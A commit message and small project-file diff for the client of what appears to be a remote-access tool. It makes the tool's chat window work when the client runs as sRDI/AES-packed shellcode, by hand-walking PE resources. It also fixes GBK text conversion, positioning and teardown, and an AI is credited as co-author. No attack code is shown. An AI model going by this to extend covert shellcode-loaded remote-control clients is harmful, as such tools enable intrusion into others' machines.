Fix: Make the remote chat dialog Unicode and loader-independent

Clients packaged as SC_AES/sRDI shellcode run the payload image as raw
shellcode inside the loader stub, so the chat manager was handed the
stub's module handle. The stub's resource section only carries a
manifest, and Windows resource APIs reject manually mapped images
outright, so creating IDD_CHAT failed and the chat thread exited before
the window ever existed.

The chat window now falls back to an embedded compiled dialog template
that is byte-identical to the IDD_CHAT resource, and the title-bar icon
is rebuilt directly from the module's own resource directory instead of
LoadIcon, bypassing the loader on both paths. The PE walking code checks
every offset against SizeOfImage and the resource directory size, so a
malformed or truncated image returns NULL instead of faulting.
Deployments where the resource lookup already works keep the original
code path unchanged.

The dialog is now created and driven with the wide-character API. The
client is still an MBCS build, but an ANSI dialog renders text with the
system code page, so GBK chat text turned into mojibake on German and
other non-936 systems. Incoming text is converted CP936 to UTF-16 and
outgoing text strictly back to CP936; characters GBK cannot represent
(emoji, accented letters) are refused with a visible notice instead of
silently becoming '?'. Static labels follow the system UI language, and
IDD_CHAT now uses the scalable MS Shell Dlg face so font linking can
supply CJK glyphs.

The window is now positioned explicitly as well. DS_CENTER in the
template put it at the work area origin on the three-monitor host: the
centred position came out negative there and Windows clamps out-of-range
creation coordinates to that origin. It is centred in the work area of
the monitor under the cursor instead, falling back to SPI_GETWORKAREA.

Teardown no longer leaves a hidden window behind either. The dialog
thread blocked in GetMessageW and never saw m_bRun cleared, while the
destructor waited for that thread before sending the message that would
have destroyed the window, so a close command that never arrived (the
sub-connection already gone, or WaitSendIdle timing out before CancelIO)
leaked the window, the dialog thread and the manager loop. The
destructor now destroys the window first, the loop checks m_bRun before
blocking, and it destroys the window itself if it exits first.

Co-Authored-By: deepseek-flash

client/ClientDll_vs2015.vcxproj.filters

@@ -119,6 +119,8 @@
     <ClInclude Include="screenhide\ScreenHideSpy.h" />
     <ClInclude Include="DrawingBoardMgr.h" />
     <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="ChatDialogTemplate.h" />
+    <ClInclude Include="ImageResource.h" />
     <ClInclude Include="MachineManager.h" />
     <ClInclude Include="yapi.hpp" />
     <ClInclude Include="TlsChannel.h" />